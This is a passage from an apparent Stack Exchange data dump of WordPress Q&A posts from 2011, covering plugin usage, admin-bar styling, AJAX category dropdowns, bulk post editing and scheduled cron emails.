LastEditorDisplayName="" LastEditDate="2011-04-23T17:38:27.197" LastActivityDate="2011-04-25T00:10:11.430" Title="How to Hard Code Custom menu items" Tags="&lt;custom-menus&gt;" AnswerCount="1" FavoriteCount="5" />
  <row Id="15456" PostTypeId="1" AcceptedAnswerId="15459" CreationDate="2011-04-23T16:30:39.417" Score="1" ViewCount="155" Body="&lt;p&gt;I recently discovered Scribu's &lt;a href=&quot;http://wordpress.org/extend/plugins/posts-to-posts/&quot; rel=&quot;nofollow&quot;&gt;Posts 2 Posts&lt;/a&gt; plugin, which seems to be exactly what I was looking for in order to connect pages and posts for a big editorial website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I cannot get it to work, which is frustrating because the principle seems really easy. I followed the &lt;a href=&quot;https://github.com/scribu/wp-posts-to-posts/wiki/Basic-usage&quot; rel=&quot;nofollow&quot;&gt;wiki basic usage example&lt;/a&gt;, in my functions.php I have :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_connection_types() {&#xA;if ( !function_exists( 'p2p_register_connection_type' ) )&#xA;    return;&#xA;&#xA;p2p_register_connection_type( array( &#xA;    'from' =&amp;gt; 'post',&#xA;    'to' =&amp;gt; 'page'&#xA;) );&#xA;}&#xA;add_action( 'init', 'my_connection_types', 100 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in page.php :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$connected = new WP_Query( array(&#xA;    'post_type' =&amp;gt; 'post',&#xA;    'connected_from' =&amp;gt; get_queried_object_id()&#xA;) );&#xA;echo '&amp;lt;p&amp;gt;Related posts:&amp;lt;/p&amp;gt;';&#xA;echo '&amp;lt;ul&amp;gt;';&#xA;while( $connected-&amp;gt;have_posts() ) : $connected-&amp;gt;the_post();&#xA;    echo '&amp;lt;li&amp;gt;';&#xA;    the_title();&#xA;    echo '&amp;lt;/li&amp;gt;';&#xA;endwhile;&#xA;echo '&amp;lt;/ul&amp;gt;';&#xA;wp_reset_postdata();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have a post called &quot;Tacos&quot;, which I connected to the page called &quot;About&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go to the &quot;About&quot; page, I see &quot;Related posts:&quot;, but nothing else after that (ie. where is my Taco ?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a &lt;code&gt;print_r( $connected )&lt;/code&gt; gives the following :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;WP_Query Object ( [query_vars] =&amp;gt; Array ( [post_type] =&amp;gt; post [connected_from] =&amp;gt; 2 [error] =&amp;gt; [m] =&amp;gt; 0 [p] =&amp;gt; 0 [post_parent] =&amp;gt; [subpost] =&amp;gt; [subpost_id] =&amp;gt; [attachment] =&amp;gt; [attachment_id] =&amp;gt; 0 [name] =&amp;gt; [static] =&amp;gt; [pagename] =&amp;gt; [page_id] =&amp;gt; 0 [second] =&amp;gt; [minute] =&amp;gt; [hour] =&amp;gt; [day] =&amp;gt; 0 [monthnum] =&amp;gt; 0 [year] =&amp;gt; 0 [w] =&amp;gt; 0 [category_name] =&amp;gt; [tag] =&amp;gt; [cat] =&amp;gt; [tag_id] =&amp;gt; [author_name] =&amp;gt; [feed] =&amp;gt; [tb] =&amp;gt; [paged] =&amp;gt; 0 [comments_popup] =&amp;gt; [meta_key] =&amp;gt; [meta_value] =&amp;gt; [preview] =&amp;gt; [s] =&amp;gt; [sentence] =&amp;gt; [fields] =&amp;gt; [category__in] =&amp;gt; Array ( ) [category__not_in] =&amp;gt; Array ( ) [category__and] =&amp;gt; Array ( ) [post__in] =&amp;gt; Array ( ) [post__not_in] =&amp;gt; Array ( ) [tag__in] =&amp;gt; Array ( ) [tag__not_in] =&amp;gt; Array ( ) [tag__and] =&amp;gt; Array ( ) [tag_slug__in] =&amp;gt; Array ( ) [tag_slug__and] =&amp;gt; Array ( ) [meta_query] =&amp;gt; Array ( ) [ignore_sticky_posts] =&amp;gt; [suppress_filters] =&amp;gt; [cache_results] =&amp;gt; 1 [update_post_term_cache] =&amp;gt; 1 [update_post_meta_cache] =&amp;gt; 1 [posts_per_page] =&amp;gt; 10 [nopaging] =&amp;gt; [comments_per_page] =&amp;gt; 50 [no_found_rows] =&amp;gt; [order] =&amp;gt; DESC [orderby] =&amp;gt; il_posts.post_date DESC ) [tax_query] =&amp;gt; WP_Tax_Query Object ( [queries] =&amp;gt; Array ( ) [relation] =&amp;gt; AND ) [post_count] =&amp;gt; 0 [current_post] =&amp;gt; -1 [in_the_loop] =&amp;gt; [comment_count] =&amp;gt; 0 [current_comment] =&amp;gt; -1 [found_posts] =&amp;gt; 0 [max_num_pages] =&amp;gt; 0 [max_num_comment_pages] =&amp;gt; 0 [is_single] =&amp;gt; [is_preview] =&amp;gt; [is_page] =&amp;gt; [is_archive] =&amp;gt; [is_date] =&amp;gt; [is_year] =&amp;gt; [is_month] =&amp;gt; [is_day] =&amp;gt; [is_time] =&amp;gt; [is_author] =&amp;gt; [is_category] =&amp;gt; [is_tag] =&amp;gt; [is_tax] =&amp;gt; [is_search] =&amp;gt; [is_feed] =&amp;gt; [is_comment_feed] =&amp;gt; [is_trackback] =&amp;gt; [is_home] =&amp;gt; 1 [is_404] =&amp;gt; [is_comments_popup] =&amp;gt; [is_paged] =&amp;gt; [is_admin] =&amp;gt; [is_attachment] =&amp;gt; [is_singular] =&amp;gt; [is_robots] =&amp;gt; [is_posts_page] =&amp;gt; [is_post_type_archive] =&amp;gt; [query_vars_hash] =&amp;gt; 90a220b2f180d3ea6ccbd9473e26ec4c [query_vars_changed] =&amp;gt; [query] =&amp;gt; Array ( [post_type] =&amp;gt; post [connected_from] =&amp;gt; 2 ) [request] =&amp;gt; SELECT SQL_CALC_FOUND_ROWS il_posts.*, il_p2p.* FROM il_posts INNER JOIN il_p2p WHERE 1=1 AND il_posts.post_type = 'post' AND (il_posts.post_status = 'publish' OR il_posts.post_status = 'private') AND il_posts.ID = il_p2p.p2p_to AND il_p2p.p2p_from IN (2) ORDER BY il_posts.post_date DESC LIMIT 0, 10 [posts] =&amp;gt; Array ( ) )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I missing? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps. Wordpress 3.1.1, Posts 2 Posts 0.7 and PHP 5.3.3&lt;/p&gt;&#xA;" OwnerUserId="1381" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-06-29T15:45:27.453" LastActivityDate="2011-06-29T15:45:27.453" Title="[Plugin: Posts 2 Posts] How does it work?" Tags="&lt;plugins&gt;&lt;posts&gt;&lt;page&gt;&lt;query&gt;&lt;plugin-posts-to-posts&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="15457" PostTypeId="2" ParentId="15444" CreationDate="2011-04-23T16:59:45.433" Score="1" ViewCount="" Body="&lt;p&gt;The current admin bar uses &lt;code&gt;position:fixed&lt;/code&gt; and is found in admin-bar.css. I removed that style because I prefer the admin bar on the bottom when debugging as it often covers up output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems for the most part the &lt;code&gt;#wpadminbar&lt;/code&gt; ID can be fully styled and over ridden using &lt;code&gt;!important.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The alternative and better option is to deregister_style and register your own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to find in the code where admin-bar.css is enqueued, then add a custom function that hooks into it and turn it off, for instance if the enqueue style function is called wp-pagenavi.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'wp_print_styles', 'my_deregister_styles', 100 );&#xA;&#xA;function my_deregister_styles() {&#xA;    wp_deregister_style( 'wp-pagenavi' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can enqueue your own style using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_enqueue_style( 'myStyleSheets');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;after a quick look I'm not sure it is possible to de-register the admin-bar.css&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-04-23T17:16:53.547" LastActivityDate="2011-04-23T17:16:53.547" />
  <row Id="15458" PostTypeId="1" AcceptedAnswerId="15471" CreationDate="2011-04-23T17:04:50.167" Score="0" ViewCount="63" Body="&lt;p&gt;I just installed Automatic Wordpress Backup on a fresh install of wordpress, with no other plugins installed, nothing else has changed from the default install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin is saying zip is not found, I verified with my host that it is, and updated the path for it in automatic-wordpress-backup.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have debug turned on, and am about to have to turn it off due to the number of warnings and notices displayed. It appears to be mostly Notices about deprecated arguments and Warning: Cannot modify header information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also causes me to just get a blank page after updating info, for example I just changed the permalinks, after I hit save it takes me to a blank page, it made &amp;amp; saved the changes, but I can't tell my client that it's just going to work that way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this normal? Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="4090" LastEditorUserId="4090" LastEditorDisplayName="" LastEditDate="2011-04-23T18:13:17.297" LastActivityDate="2011-04-23T21:20:46.740" Title="Automatic Wordpress Backup Plugin works, but says it's not" Tags="&lt;plugins&gt;&lt;backup&gt;" AnswerCount="1" />
  <row Id="15459" PostTypeId="2" ParentId="15456" CreationDate="2011-04-23T17:19:01.517" Score="2" ViewCount="" Body="&lt;p&gt;try &lt;code&gt;'connected' =&amp;gt; get_queried_object_id()&lt;/code&gt; instead of &lt;code&gt;'connected_from' =&amp;gt; get_queried_object_id()&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-04-23T17:19:01.517" CommentCount="4" />
  <row Id="15460" PostTypeId="1" AcceptedAnswerId="15506" CreationDate="2011-04-23T17:29:31.460" Score="1" ViewCount="199" Body="&lt;p&gt;I'm trying to show the archive list like that&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;&amp;lt;li&amp;gt;Year&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;Month&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;Month&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;Month&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;Year&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;Month&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and so on, with the relative link only on the month. I tried different solutions as the CG Archive plugin ( &lt;a href=&quot;http://wordpress.pastebin.ca/209160&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.pastebin.ca/209160&lt;/a&gt; ) and that's the only kind of plugin I can use since I need to place the php output wherever I want and the other plugins/widgets I found doesn't let me do that. The problem is that it doesn't show anything at all! Do you know any alternative solutions to accomplis that? Really thanks in advance and sorry for my poor english.&lt;/p&gt;&#xA;" OwnerUserId="4798" LastActivityDate="2011-07-26T19:51:56.523" Title="Archive list with only years and months" Tags="&lt;plugins&gt;&lt;archive&gt;&lt;list&gt;&lt;wp-get-archives&gt;" AnswerCount="1" />
  <row Id="15461" PostTypeId="2" ParentId="15448" CreationDate="2011-04-23T17:45:58.903" Score="2" ViewCount="" Body="&lt;p&gt;Contact Form 7 is pretty good and free, I used it a lot before I switched to Gravity Forms &#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/contact-form-7/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/contact-form-7/&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="4678" LastActivityDate="2011-04-23T17:45:58.903" />
  <row Id="15462" PostTypeId="2" ParentId="11315" CreationDate="2011-04-23T17:53:15.073" Score="0" ViewCount="" Body="&lt;p&gt;Not positive but I think it is the Twitter Blog plugin. Throws the error if the plugin hasn't been configured with current twitter oAuth credentials.&lt;/p&gt;&#xA;" OwnerUserId="4848" LastActivityDate="2011-04-23T17:53:15.073" />
  <row Id="15463" PostTypeId="1" CreationDate="2011-04-23T18:06:29.233" Score="0" ViewCount="54" Body="&lt;p&gt;A iframe plugin for displaying iframes with shortcodes this works fine displays the video from the custom meta data its finding.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo do_shortcode('[iframe_loader src=&quot;http://player.vimeo.com/video/'. get_post_meta($post-&amp;gt;ID, 'rw_vid-url',true) .'&quot; width=&quot;834&quot; height=&quot;467&quot; frameborder=&quot;0&quot;title=&quot;0&quot;&quot;]');?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, this one breaks, with it not finding the code, the only difference being the additional embedding edits...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo do_shortcode('[iframe_loader src=&quot;http://player.vimeo.com/video/'. get_post_meta($post-&amp;gt;ID, 'rw_vid-url',true) .'?title=0&amp;amp;amp;byline=0&amp;amp;amp;portrait=0&amp;amp;amp;color=ffffff&quot; width=&quot;580&quot; height=&quot;326&quot; frameborder=&quot;0&quot;&quot;]');?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This one works though when the post meta info is not inside it..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo do_shortcode('[iframe_loader src=&quot;http://player.vimeo.com/video/18564374?title=0&amp;amp;amp;byline=0&amp;amp;amp;portrait=0&amp;amp;amp;color=ffffff&quot; width=&quot;580&quot; height=&quot;326&quot; frameborder=&quot;0&quot;&quot;]');?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The custom meta data shows fine as well using this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $meta = get_post_meta(get_the_ID(), 'rw_vid-url', true); echo $meta;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For some reason i cannot add it into the second iFrame code without it breaking the whole thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas would be a massive help? :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks.&lt;/p&gt;&#xA;" OwnerUserId="4630" LastActivityDate="2011-04-23T18:06:29.233" Title="iFrame,shortcodes &amp; displaying custom meta data breaks it :(" Tags="&lt;post-meta&gt;" CommentCount="1" />
  <row Id="15464" PostTypeId="2" ParentId="10570" CreationDate="2011-04-23T18:42:18.520" Score="2" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;function parent_child_cat_select() { ?&amp;gt;&#xA;        &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;        /* &amp;lt;![CDATA[ */&#xA;            jQuery(document).ready(function() {     &#xA;                jQuery('#parent_cat').change(function(){&#xA;                    var parentCat=jQuery('#parent_cat').val();&#xA;                    // call ajax&#xA;                    jQuery.ajax({&#xA;                        url:&quot;/wp-admin/admin-ajax.php&quot;,&#xA;                        type:'POST',&#xA;                        data:'action=category_select_action&amp;amp;parent_cat_ID=' + parentCat,&#xA;                        success:function(results)&#xA;                        {&#xA;                        jQuery(&quot;#sub_cat_div&quot;).html(results);&#xA;                        }&#xA;                     });&#xA;                });         &#xA;            });     &#xA;        /* ]]&amp;gt; */&#xA;        &amp;lt;/script&amp;gt;&#xA;&#xA;        &amp;lt;form action=&quot;&amp;lt;?php bloginfo('url'); ?&amp;gt;/&quot; method=&quot;get&quot;&amp;gt;&#xA;&#xA;        &amp;lt;div id=&quot;parent_cat_div&quot;&amp;gt;&amp;lt;?php wp_dropdown_categories(&quot;show_option_none=Select parent category&amp;amp;orderby=name&amp;amp;depth=1&amp;amp;hierarchical=1&amp;amp;id=parent_cat&quot;); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div id=&quot;sub_cat_div&quot;&amp;gt;&amp;lt;select name=&quot;sub_cat_disabled&quot; id=&quot;sub_cat_disabled&quot; disabled=&quot;disabled&quot;&amp;gt;&amp;lt;option&amp;gt;Select parent category first!&amp;lt;/option&amp;gt;&amp;lt;/select&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div id=&quot;submit_div&quot;&amp;gt;&amp;lt;input type=&quot;submit&quot; value=&quot;View&quot; /&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;/form&amp;gt;&#xA;&amp;lt;?php }&#xA;&#xA;function implement_ajax() {&#xA;    $parent_cat_ID = $_POST['parent_cat_ID'];&#xA;    if ( isset($parent_cat_ID) )&#xA;    {&#xA;        $has_children = get_categories(&quot;parent=$parent_cat_ID&quot;);&#xA;        if ( $has_children ) {&#xA;            wp_dropdown_categories(&quot;orderby=name&amp;amp;parent=$parent_cat_ID&quot;);&#xA;        } else {&#xA;            ?&amp;gt;&amp;lt;select name=&quot;sub_cat_disabled&quot; id=&quot;sub_cat_disabled&quot; disabled=&quot;disabled&quot;&amp;gt;&amp;lt;option&amp;gt;No child categories!&amp;lt;/option&amp;gt;&amp;lt;/select&amp;gt;&amp;lt;?php&#xA;        }&#xA;        die();&#xA;    } // end if&#xA;}&#xA;add_action('wp_ajax_category_select_action', 'implement_ajax');&#xA;add_action('wp_ajax_nopriv_category_select_action', 'implement_ajax');//for users that are not logged in.&#xA;&#xA;//this is optional, only if you are not already using jQuery  &#xA;function load_jquery() {&#xA;    wp_enqueue_script('jquery');            &#xA;}     &#xA;add_action('init', 'load_jquery');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For displaying the the drop-down menus use the &lt;code&gt;parent_child_cat_select()&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php parent_child_cat_select(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2515" LastEditorUserId="2515" LastEditorDisplayName="" LastEditDate="2011-04-25T22:05:45.940" LastActivityDate="2011-04-25T22:05:45.940" CommentCount="7" />
  <row Id="15465" PostTypeId="1" CreationDate="2011-04-23T19:53:23.657" Score="0" ViewCount="22" Body="&lt;p&gt;I imported my twitter stream into WP: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.barrycarter.info/index.php/category/twitter/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.barrycarter.info/index.php/category/twitter/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but all the entries now have &quot;barrycarter:&quot; at the beginning. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize I could just re-import w/ different settings, but I want a &#xA;more general solution. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plugin/etc that lets me do &quot;s/barrycarter://isg&quot; on &#xA;selected (or all) posts? In other words, mass-edit, but not by hand. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize I could use the API for something like this, but would &#xA;prefer an existing plugin/etc if there is one. &lt;/p&gt;&#xA;" OwnerUserId="4849" LastActivityDate="2011-06-23T01:06:07.213" Title="ex-style bulk post editing" Tags="&lt;bulk&gt;" AnswerCount="2" />
  <row Id="15466" PostTypeId="1" AcceptedAnswerId="15473" CreationDate="2011-04-23T20:19:29.647" Score="1" ViewCount="48" Body="&lt;p&gt;I always want new posts to have a category, but sometimes I forget. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make Wordpress warn me when I'm about something 'uncategorized'? &lt;/p&gt;&#xA;" OwnerUserId="4849" LastActivityDate="2011-04-23T21:38:12.337" Title="Warn me about 'uncategorized' posts" Tags="&lt;categories&gt;" AnswerCount="2" />
  <row Id="15467" PostTypeId="1" AcceptedAnswerId="16711" CreationDate="2011-04-23T20:25:15.583" Score="0" ViewCount="141" Body="&lt;p&gt;Best way to programatically remove attachments that are missing images?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ask because after using a caching plugin, I have images that have been input in the database as attachments that don't actually exist. These usually take the form of xxxx.1jpg, where xxxx.jpg is a valid. Sometimes this number is a 2 or a 21.&#xA;&lt;img src=&quot;http://i.stack.imgur.com/lxqmI.png&quot; alt=&quot;bonus image attachment&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess it would be better to just remove &quot;duplicate&quot; bad images. I think it might be good to have other types of missing images remain, so they could be corrected. Ideas?&lt;/p&gt;&#xA;" OwnerUserId="4258" LastActivityDate="2011-05-09T02:20:33.817" Title="remove missing image attachments" Tags="&lt;database&gt;&lt;attachments&gt;&lt;image&gt;&lt;post-duplication&gt;" AnswerCount="2" />
  <row Id="15468" PostTypeId="2" ParentId="11891" CreationDate="2011-04-23T20:57:42.703" Score="0" ViewCount="" Body="&lt;p&gt;Paul Sheldrake is right, but i think you only need one post type&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Post type - participant&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;through using custom meta fields you can create finer controls such as&#xA;&lt;ul&gt;&#xA;&lt;li&gt;is winner&lt;/li&gt;&#xA;&lt;li&gt;the year of participation, art type, etc&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;these custom fields are all searchable and diverse like the taxonomies&lt;/li&gt;&#xA;&lt;li&gt;i would recommend looking at &lt;a href=&quot;http://www.deluxeblogtips.com/2010/04/how-to-create-meta-box-wordpress-post.html&quot; rel=&quot;nofollow&quot;&gt;http://www.deluxeblogtips.com/2010/04/how-to-create-meta-box-wordpress-post.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;creating listing pages is easy, you just make a regular WP page and a template with the custom wp_query code&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;check out &lt;a href=&quot;http://justintadlock.com/?s=custom%20post%20type&amp;amp;submit=Search&quot; rel=&quot;nofollow&quot;&gt;http://justintadlock.com/?s=custom+post+type&amp;amp;submit=Search&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1824" LastActivityDate="2011-04-23T20:57:42.703" />
  <row Id="15469" PostTypeId="2" ParentId="15466" CreationDate="2011-04-23T21:13:44.823" Score="1" ViewCount="" Body="&lt;p&gt;First of all. Change the category name uncategorized to some other. I usually make this &quot;Other&quot;. In case you want notification in front end you can add a alert or some Red graphics with post loop by code&lt;code&gt;&amp;lt;?php if ( current_user_can('manage_options') ) { do_something(); } ?&amp;gt;&lt;/code&gt; so only you can see it. check &lt;a href=&quot;http://markjaquith.wordpress.com/2006/03/27/how-to-check-if-a-wordpress-user-is-an-administrator/&quot; rel=&quot;nofollow&quot;&gt;http://markjaquith.wordpress.com/2006/03/27/how-to-check-if-a-wordpress-user-is-an-administrator/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its a easy one :) but if you want to show something like a javascript popup in admin when you click the update/publish button. You have to add a javascript in admin area like this &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script#Load_a_script_from_your_theme.2C_excluding_admin_area&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_enqueue_script#Load_a_script_from_your_theme.2C_excluding_admin_area&lt;/a&gt; &#xA;then you can check if uncategorized is checked when user clicked on publish button. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to check the id of the checkbox of the category and update button. I think the javascript will not very hard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks let me know if it was helpful or not.&lt;/p&gt;&#xA;" OwnerUserId="3094" LastActivityDate="2011-04-23T21:13:44.823" CommentCount="2" />
  <row Id="15470" PostTypeId="2" ParentId="15465" CreationDate="2011-04-23T21:16:22.763" Score="0" ViewCount="" Body="&lt;p&gt;No hands on experience with such, but &lt;a href=&quot;http://wordpress.org/extend/plugins/tags/replace&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;replace&lt;/em&gt; tag of official plugin repository&lt;/a&gt; seems to list some plugins that fit your description.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-23T21:16:22.763" />
  <row Id="15471" PostTypeId="2" ParentId="15458" CreationDate="2011-04-23T21:20:46.740" Score="0" ViewCount="" Body="&lt;p&gt;The &lt;a href=&quot;http://wordpress.org/extend/plugins/automatic-wordpress-backup/&quot; rel=&quot;nofollow&quot;&gt;plugin's description in repository&lt;/a&gt; says following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Important caveat: this plugin currently has to be run on a linux server. Also, the wp-content/uploads folder has to be server-writable or it won't be able to create the zips for backup.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;...which makes me think that developer was not too interested in making plugin use proper WP APIs to work robustly across different hosting server configurations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this plugin alone generates enough debug output to break things I'd seriously consider looking for alternative.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-23T21:20:46.740" CommentCount="2" />
  <row Id="15472" PostTypeId="2" ParentId="15465" CreationDate="2011-04-23T21:25:03.847" Score="1" ViewCount="" Body="&lt;p&gt;I use the &lt;a href=&quot;http://wordpress.org/extend/plugins/search-and-replace/&quot; rel=&quot;nofollow&quot;&gt;Search and Replace&lt;/a&gt; plugin for such tasks.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-04-23T21:25:03.847" />
  <row Id="15473" PostTypeId="2" ParentId="15466" CreationDate="2011-04-23T21:38:12.337" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/category-reminder/&quot; rel=&quot;nofollow&quot;&gt;Category Reminder plugin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-04-23T21:38:12.337" />
  <row Id="15474" PostTypeId="2" ParentId="12682" CreationDate="2011-04-23T21:44:32.470" Score="1" ViewCount="" Body="&lt;p&gt;There is quite extensive presentation &lt;a href=&quot;http://about.digg.com/blog/rasmus-lerdorf-php-performance&quot; rel=&quot;nofollow&quot;&gt;Rasmus Lerdorf - PHP Performance&lt;/a&gt; that uses WP as test subject and covers HipHop among many other things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The summary I can formulate from that presenation is that HipHop:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;requires WP core edits&lt;/li&gt;&#xA;&lt;li&gt;has &lt;a href=&quot;http://talks.php.net/show/digg/21&quot; rel=&quot;nofollow&quot;&gt;limited PHP and libraries compatibility&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;provides (on vanilla WP install at least) very mild performance gain for the effort it takes to implement. In that presentation compiling with HipHop bumped WP from 28.8 transactions per second &lt;a href=&quot;http://talks.php.net/show/digg/20&quot; rel=&quot;nofollow&quot;&gt;to 33.6&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I think more common performance improving alternatives (like reverse proxy) can easily outperform that without such downsides.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-23T21:44:32.470" />
  <row Id="15475" PostTypeId="1" AcceptedAnswerId="17011" CreationDate="2011-04-22T00:33:02.643" Score="0" ViewCount="158" Body="&lt;p&gt;I'm trying to schedule a pseudo cron job to send an email after a set amount of time utilizing a WordPress plugin. So far, I've been able to make this code run when I hard code the email address and message into the 'email_about_coupon' function; however, when I try to send the arguments to the function, the email is never sent. By using the Cron GUI plugin (http://wordpress.org/extend/plugins/cron-view/installation/), I'm able to see that the cron job is registered even with the arguments. I believe that I'm doing something incorrectly that does not allow the arguments to be used properly within the function at the time that it is run. Here's what I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function schedule_email_cron($post_id)&#xA;{&#xA;    // Get the UNIX 30 days from now time&#xA;    $thirty_days = time() + 60; // (30 * 24 * 60 * 60)&#xA;    $post = get_post($post_id);&#xA;    $email = get_the_author_meta('user_email', $post-&amp;gt;post_author);&#xA;    $args = array('email' =&amp;gt; $email, 'title' =&amp;gt; $post-&amp;gt;post_title);&#xA;    wp_schedule_single_event($thirty_days, 'email_about_coupon_action', $args); &#xA;}&#xA;&#xA;add_action('save_post', 'schedule_email_cron', 1, 1);&#xA;&#xA;add_action('email_about_coupon_action', 'email_about_coupon', 1, 1);&#xA;&#xA;function email_about_coupon($args)&#xA;{&#xA;    // Email text&#xA;    $text = &quot;&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;&amp;lt;p&amp;gt;Your coupon titled, &quot;.$args['title'].&quot; is expiring soon. Please visit &amp;lt;a href=\&quot;\&quot;&amp;gt;&quot;.get_bloginfo('siteurl').&quot;/registered/&amp;lt;/a&amp;gt; &quot;.get_bloginfo('siteurl').&quot;/registered/ to renew your coupon.&amp;lt;/p&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&quot;;&#xA;&#xA;    // Email 